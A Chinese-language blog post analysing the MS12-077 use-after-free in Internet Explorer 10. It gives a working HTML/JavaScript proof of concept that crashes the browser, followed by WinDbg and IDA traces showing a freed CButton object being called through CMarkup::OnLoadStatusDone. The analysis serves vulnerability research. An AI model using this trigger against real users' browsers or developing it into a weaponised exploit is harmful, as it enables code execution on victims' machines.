[MS12-077]IE10 CMarkup Use After Free漏洞分析

作者:k0shl 转载请注明出处:https://whereisk0shl.top


漏洞说明


Internet Explorer版本:10

调试环境:Windows 7 sp1 x86

PoC:

<!doctype html>
<html>
<head>
<script>
        function helloWorld()
        {
                var e0 = null;
                var e1 = null;
                var e2 = null;
                try {
                        e0 = document.getElementById("a");
                        e1 = document.getElementById("b");
                        e2 = document.createElement("q");
                        e1.applyElement(e2);
                        alert(e1.parentNode);
                        e1.appendChild(document.createElement('button'));
                        e1.applyElement(e0);
                        e2.outerText = "";
                        e2.appendChild(document.createElement('body'));
                }
                catch(e)
                { }
                CollectGarbage();
        }
</script>
</head>
<body onload="eval(helloWorld())">
<form id="a"></form>
<dfn id="b"></dfn>
</body>
</html>

漏洞复现


此漏洞是由于IE浏览器的mshtml.dll中的Button对象,在某子节点被创建后,由于父节点释放,导致Button被释放,而此时,没有对Button释放进行标记,从而在后续调用中再次调用Button对象时,由于引用了释放后的内容,从而导致了释放后重用漏洞的发生,下面对此漏洞进行详细分析。

首先,运行环境Win7,浏览器使用IE10,打开PoC,浏览器崩溃,附加Windbg,到达漏洞现场。

0:013> g
ModLoad: 6de90000 6df42000   C:\Windows\System32\jscript.dll
(3e0.e14): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=66f90176 ebx=002a7810 ecx=00000052 edx=00000000 esi=00000000 edi=002a9420
eip=00637273 esp=0263d518 ebp=0263d574 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
00637273 0036            add     byte ptr [esi],dh          ds:0023:00000000=??

可以看到此时eip处于一个非法的代码段中,猜测可能是由于call指令跳转到这个非法地址的,以此也能确定这个UAF漏洞利用的可能性,接下来看一下kb命令。

0:005> kb
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
0263d514 6713e1e6 002a9420 002a7810 002a9c70 0x637273
0263d574 67139c26 002d04f0 002a9c84 002a9c70 mshtml!CMarkup::OnLoadStatusDone+0x4eb
0263d594 671196f6 00000004 0263da20 00000006 mshtml!CMarkup::OnLoadStatus+0x47
0263d9e8 6710b40d 002ae260 00000000 0263da2c mshtml!CProgSink::DoUpdate+0x549
0263d9f8 671693c2 002ae260 002ae260 002a98c8 mshtml!CProgSink::OnMethodCall+0x12
0263da2c 6715e012 0263dac8 00008002 00000000 mshtml!GlobalWndOnMethodCall+0xff
0263da4c 75b8c4e7 00050398 0000000f 00000000 mshtml!GlobalWndProc+0x10c

可以看到最后调用了CMarkup类,直接跟踪到地址6713e1e6,观察一下上下文。

.text:74DC9C41 ; public: int __thiscall CMarkup::OnLoadStatusDone(void)
.text:74DC9C41 ?OnLoadStatusDone@CMarkup@@QAEHXZ proc near
.text:74DC9C41                                         ; CODE XREF: CMarkup::OnLoadStatus(LOADSTATUS)+21E6Cp


.text:74DCE1CB loc_74DCE1CB:                           ; CODE XREF: CMarkup::OnLoadStatusDone(void)+3B0j
.text:74DCE1CB                 mov     eax, [edi]
.text:74DCE1CD                 push    edi
.text:74DCE1CE                 mov     [ebp+var_3C], esi
.text:74DCE1D1                 mov     [ebp+var_2C], esi
.text:74DCE1D4                 mov     [ebp+var_24], esi
.text:74DCE1D7                 mov     [ebp+var_28], esi
.text:74DCE1DA                 mov     [ebp+var_20], esi
.text:74DCE1DD                 mov     [ebp+var_1C], esi
.text:74DCE1E0                 call    dword ptr [eax+0DCh]

可以看到,在OnLoadStatusDone函数的loc_74DCE1CB块位置,最后调用了一处call函数,向上回溯,可以看到是由于edi地址存放的值赋值给eax,再次调用eax造成了跳转到非法地址。

根据漏洞描述,怀疑是edi是一处虚函数指针,它指向某个对象,由于在某处这个对象被释放,从而导致了释放后重用漏洞的发生,接下来就由此入手来分析还原整个漏洞。


漏洞分析


首先,开启Windbg的gflags.exe的ust功能,这个功能可以捕获寄存器堆栈调用的情况,开启后重新附加windbg,在74DCE1CB位置中断,由于ASLR的存在,每次地址的值都会有所区别,但这不重要。

0:005> g
(494.c1c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=07ffafa8 ebx=06b90f30 ecx=00000052 edx=00000000 esi=00000000 edi=07ffafa8
eip=677be1cb esp=045fd650 ebp=045fd6a4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4d0:
677be1cb 8b07            mov     eax,dword ptr [edi]  ds:0023:07ffafa8=????????

在e1cb位置捕获到了异常,这时候通过!heap的方法来回溯edi的调用情况。

0:005> !heap -p -a edi
    address 063eafa8 found in
    _DPH_HEAP_ROOT @ 151000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    63a1478:          63ea000             2000
    6a2990b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    776865f4 ntdll!RtlDebugFreeHeap+0x0000002f
    7764a0aa ntdll!RtlpFreeHeap+0x0000005d
    776165a6 ntdll!RtlFreeHeap+0x00000142
    769cbbe4 kernel32!HeapFree+0x00000014
    67c1dc7a mshtml!CButton::`vector deleting destructor'+0x0000002f
    67d91daf mshtml!CBase::SubRelease+0x00000022
    67d8a6b5 mshtml!CElement::PrivateRelease+0x0000002a
    67d87894 mshtml!PlainRelease+0x00000025
    67dd3862 mshtml!PlainTrackerRelease+0x00000014
    69d6a735 jscript!VAR::Clear+0x0000005f
    69d86e46 jscript!GcContext::Reclaim+0x000000b6
    69d843e9 jscript!GcContext::CollectCore+0x00000123

可以看到在67c1dc7a位置,最后一次调用到了mshtml的CButton类,而vector deleting destructor是CButton类中用于释放对象的,后续可以看到FreeHeap的过程,而到达e1cb位置,再次引用了这个对象。

所以基本可以判定是CButton类出现的问题,接下来我先对PoC进行一次初步的分析,再调整PoC,进行一次动态跟踪来还原整个过程。

首先,PoC执行内容

    e0 = document.getElementById("a");
    e1 = document.getElementById("b");
    e2 = document.createElement("q");
    e1.applyElement(e2);

通过getElementById方法获取节点e0和e1,接下来创建e2节点,之后调用applyElement,让e2成为了e1的父节点。

接下来

    e1.appendChild(document.createElement('button'));
    e1.applyElement(e0);

e1会申请一个button对象,这个对象申请之后,会在调用applyElement,让e0成为e1的父节点。

接下来

    e2.outerText = "";
    e2.appendChild(document.createElement('body'));

初步判定,e2会通过outerText一个空值,e2会申请一个新的对象,这个过程会共同导致e1中的button对象被释放,而初步估计,申请对象的过程中,会调用之前释放的e1的button对象的虚函数指针,而由于button被释放后没有记性标记,从而导致直接引用引发的释放后重用。

接下来,为了方便跟踪整个过程,我在关键调用的前后插入了Math方法中的sin、cos、tan方法,这样可以通过bp jscript!tan的方法下断点,准确跟踪每一步的行为。

修改后的PoC核心函数内容如下:

            Math.tan(0);
            e0 = document.getElementById("a");
            Math.sin(0);
            e1 = document.getElementById("b");
            Math.cos(0);
            e2 = document.createElement("q");
            e1.applyElement(e2);
            Math.tan(0);
            e1.appendChild(document.createElement('button'));
            e1.applyElement(e0);
            Math.sin(0);
            e2.outerText = "";
            Math.cos(0);
            e2.appendChild(document.createElement('body'));

接下来在jscript的几个点下断点。

0:005> bp mshtml!CreateElement
Matched: 6778141a mshtml!CreateElement = <no type information>
Matched: 677bd6de mshtml!CreateElement = <no type information>
Ambiguous symbol error at 'mshtml!CreateElement'
0:005> bp 6778141a
0:005> bp 677bd6de
0:005> bp jscript!sin
0:005> g
Breakpoint 3 hit
eax=00000000 ebx=038f9fc0 ecx=00000005 edx=00000003 esi=038f9fb0 edi=038f9fb0
eip=6937d6e9 esp=038f9eb4 ebp=038f9ef0 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
jscript!sin:
6937d6e9 ff2568103569    jmp     dword ptr [jscript!_imp__sin (69351068)] ds:0023:69351068={msvcrt!sin (75ae8aea)}
0:005> bp jscript!cos
0:005> g
Breakpoint 4 hit
eax=00000000 ebx=038f9fc0 ecx=00000005 edx=00000003 esi=038f9fb0 edi=038f9fb0
eip=6937d657 esp=038f9eb4 ebp=038f9ef0 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
jscript!cos:
6937d657 ff2590103569    jmp     dword ptr [jscript!_imp__cos (69351090)] ds:0023:69351090={msvcrt!cos (75ae8ace)}
0:005> g
Breakpoint 2 hit
eax=038f9db0 ebx=00000001 ecx=05da4f30 edx=01655e40 esi=0170b544 edi=038f9d08
eip=677bd6de esp=038f9cdc ebp=038f9d78 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CreateElement:
677bd6de 8bff            mov     edi,edi

可以看到,在tan,sin后的函数是负责获取节点信息,接下来cos后的调用时applyElement,在这次执行完毕后,会将e1做为e2的子节点。

接下来继续执行

0:005> g
Breakpoint 0 hit
eax=00000000 ebx=038f9fc0 ecx=00000005 edx=00000003 esi=038f9fb0 edi=038f9fb0
eip=6937d898 esp=038f9eb4 ebp=038f9ef0 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
jscript!tan:
6937d898 ff2580103569    jmp     dword ptr [jscript!_imp__tan (69351080)] ds:0023:69351080={msvcrt!tan (75aede34)}

这是第二处tan调用,这次结束之后,会进行CButton的创建,这时候来看一下CButton类的成员函数。

0:005> x mshtml!CButton::*
67a5f1ee mshtml!CButton::HandleMessage = <no type information>
676695d8 mshtml!CButton::s_classdescTagButton = <no type information>
676767e4 mshtml!CButton::GetAAtype = <no type information>
67a5f446 mshtml!CButton::GetValueHelper = <no type information>
67a5f0af mshtml!CButton::GetEnabled = <no type information>
67678ba7 mshtml!CButton::GetThemeState = <no type information>
67a5f341 mshtml!CButton::get_status = <no type information>
67669601 mshtml!CButton::CreateElement = <no type information>
6768ca8f mshtml!CButton::Notify = <no type information>
67881ea0 mshtml!CButton::s_StringTable = <no type information>
67a5f19a mshtml!CButton::GetFocusShape = <no type information>
67a5f4cf mshtml!CButton::SetStatusText = <no type information>
67a5f2f1 mshtml!CButton::put_status = <no type information>
67a5f0e2 mshtml!CButton::YieldCurrency = <no type information>
6787e9b4 mshtml!CButton::GetBtnHelper = <no type information>
67678bff mshtml!CButton::GetBorderInfo = <no type information>
67a5f2aa mshtml!CButton::ClickAction = <no type information>
67a6a5c5 mshtml!CButton::createTextRange = <no type information>
67a5f461 mshtml!CButton::SetValueHelper = <no type information>
67676851 mshtml!CButton::GetClassDesc = <no type information>
676769ad mshtml!CButton::ApplyDefaultFormat = <no type information>
67a5f05a mshtml!CButton::GetSubmitInfo = <no type information>
677f8b60 mshtml!CButton::s_apfnpdIHTMLButtonElement = <no type information>
6787a310 mshtml!CButton::s_acpi = <no type information>
6787c190 mshtml!CButton::GetNonThemedBorderInfo = <no type information>
6768d632 mshtml!CButton::AddCtxInfoToStream = <no type information>
67881e90 mshtml!CButton::s_StringTableAggregate = <no type information>
67678b74 mshtml!CButton::GetThemeProperties = <no type information>
67a5f387 mshtml!CButton::GetValue = <no type information>
67676870 mshtml!CButton::s_classdescButtonSubmit = <no type information>
67669678 mshtml!CButton::Init2 = <no type information>
67676804 mshtml!CButton::s_apHdlDescs = <no type information>
67676820 mshtml!CButton::s_ppropdescsInVtblOrderIHTMLButtonElement = <no type information>
6768dc4b mshtml!CButton::`scalar deleting destructor' = <no type information>
67881ee0 mshtml!CButton::s_AssocVTablePtr = <no type information>
6787b5c7 mshtml!CButton::GetElement = <no type information>
676466b8 mshtml!CButton::`vftable' = <no type information>
6790d1a0 mshtml!CButton::s_classdescButtonReset = <no type information>
677fecd4 mshtml!CButton::`vftable' = <no type information>
6768dc4b mshtml!CButton::`vector deleting destructor' = <no type information>
6766ec4c mshtml!CButton::SetAAtype = <no type information>
67669702 mshtml!CButton::EnsureDefaultAttributes = <no type information>
67796e3e mshtml!CButton::GetDBindMethods = <no type information>

值得关心的是CButton::CreateElement函数,这个是为CButton类创建对象,在这个函数下断点。

0:005> bp mshtml!CButton::CreateElement
0:005> g
Breakpoint 5 hit
eax=67669601 ebx=677f7be0 ecx=038f9ce8 edx=01655e40 esi=0170b594 edi=038f9d08
eip=67669601 esp=038f9cb0 ebp=038f9cd8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CButton::CreateElement:
67669601 8bff            mov     edi,edi

这个函数执行结束后,CButton对象会被创建,来看一下创建这个对象的过程。

.text:74C49601 ; public: static long __stdcall CButton::CreateElement(class CHtmTag *, class CDoc *, class CElement * *)
.text:74C49601 ?CreateElement@CButton@@SGJPAVCHtmTag@@PAVCDoc@@PAPAVCElement@@@Z proc near
.text:74C49601                                         ; DATA XREF: .text:74DF3A48o
.text:74C49601
.text:74C49601 arg_0           = dword ptr  8
.text:74C49601 arg_4           = dword ptr  0Ch
.text:74C49601 arg_8           = dword ptr  10h
.text:74C49601
.text:74C49601                 mov     edi, edi
.text:74C49603                 push    ebp
.text:74C49604                 mov     ebp, esp
.text:74C49606                 push    esi
.text:74C49607                 push    58h             ; dwBytes
.text:74C49609                 push    8               ; dwFlags
.text:74C4960B                 push    _g_hProcessHeap ; hHeap
.text:74C49611                 call    ds:__imp__HeapAlloc@12 ; HeapAlloc(x,x,x)

创建之后,最后到达cos后面,也就是最后释放CButton的部分。

0:005> g
Breakpoint 2 hit
eax=00000000 ebx=046ba258 ecx=00000005 edx=00000003 esi=046ba248 edi=046ba248
eip=69c8d6e9 esp=046ba134 ebp=046ba170 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
jscript!sin:
69c8d6e9 ff256810c669    jmp     dword ptr [jscript!_imp__sin (69c61068)] ds:0023:69c61068={msvcrt!sin (75ae8aea)}
0:005> g
Breakpoint 1 hit
eax=00000000 ebx=046ba258 ecx=00000005 edx=00000003 esi=046ba248 edi=046ba248
eip=69c8d657 esp=046ba134 ebp=046ba170 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
jscript!cos:
69c8d657 ff259010c669    jmp     dword ptr [jscript!_imp__cos (69c61090)] ds:0023:69c61090={msvcrt!cos (75ae8ace)}
0:005> g
Breakpoint 4 hit
eax=67bd66b8 ebx=076c6e30 ecx=074dcfa8 edx=00000000 esi=074dcfa8 edi=00000000
eip=67c1dc4b esp=046ba228 ebp=046ba23c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CButton::`vector deleting destructor':
67c1dc4b 8bff            mov     edi,edi

在入口处,注意ecx寄存器的值,其实ecx此时存放的值就是虚函数指针。

0:005> g
Breakpoint 1 hit
eax=676166b8 ebx=078f8e30 ecx=07712fa8 edx=00000000 esi=07712fa8 edi=00000000
eip=6765dc4b esp=04509fb8 ebp=04509fcc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CButton::`vector deleting destructor':
6765dc4b 8bff            mov     edi,edi
0:005> dd ecx
07712fa8  676166b8 00008000 00040006 00000000
07712fb8  00000000 00000000 00000012 80096000
07712fc8  00000006 07e7cfe8 677cecd4 00000000
07712fd8  00000000 00000000 00000000 00000000
07712fe8  00000001 00000000 00000000 00000000

可以看到,指针指向676166b8这个地址,接下来执行完毕后。

0:005> gu
eax=07708fa8 ebx=078fce30 ecx=77616570 edx=00051078 esi=07708fa8 edi=00000000
eip=677d1daf esp=04509fc0 ebp=04509fcc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CBase::SubRelease+0x22:
677d1daf e93e87ffff      jmp     mshtml!CBase::SubRelease+0x22 (677ca4f2)
0:005> dd 07708fa8
07708fa8  ???????? ???????? ???????? ????????
07708fb8  ???????? ???????? ???????? ????????
07708fc8  ???????? ???????? ???????? ????????
07708fd8  ???????? ???????? ???????? ????????
07708fe8  ???????? ???????? ???????? ????????
07708ff8  ???????? ???????? ???????? ????????

对象呗删除,这个地址的值已经被释放了,而接下来。

0:005> g
(a50.ea4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=07712fa8 ebx=0828ef30 ecx=00000052 edx=00000000 esi=00000000 edi=07712fa8
eip=677be1cb esp=0450d2d0 ebp=0450d324 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4d0:
677be1cb 8b07            mov     eax,dword ptr [edi]  ds:0023:07712fa8=????????

而在OnLoadStatusDone会再次引用这个虚函数指针,但是直到这个过程,过程中都没有对释放位置进行标记,因此造成了释放后重用漏洞的发生。

Comments
Write a Comment